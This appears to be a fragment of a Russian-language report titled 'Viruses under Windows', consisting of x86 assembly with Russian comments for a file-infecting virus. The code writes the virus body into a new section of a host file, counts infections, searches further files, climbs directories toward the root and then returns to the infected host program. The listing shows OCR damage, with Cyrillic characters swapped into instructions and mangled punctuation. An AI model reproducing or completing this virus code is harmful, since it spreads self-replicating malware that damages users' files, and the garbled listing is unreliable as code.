Доклад: Вирусы под Windows
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;3апишем тело вируса в новый объект
push О
lea eax,[ebp+offset bytesread]
push eax
push vend-vstart
lea eax, [ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
[Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
[Переход к следующему файлу
findnextone:
[Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
.Если файл найден, переходим к заражению
or eax.eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
хог еах.еах
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdirl]
mov ecx.256/4
rep stosd
Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
.Сменим директорию на "."
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdirl]
push edi
push 255
call GetCurDir
Проверим, корневая ли это директория. Если да, то выходим
mov есх.256/4
rep cmpsd
jnz infectdir
;"3аметаем следы" и выходим в программу-носитель
outty: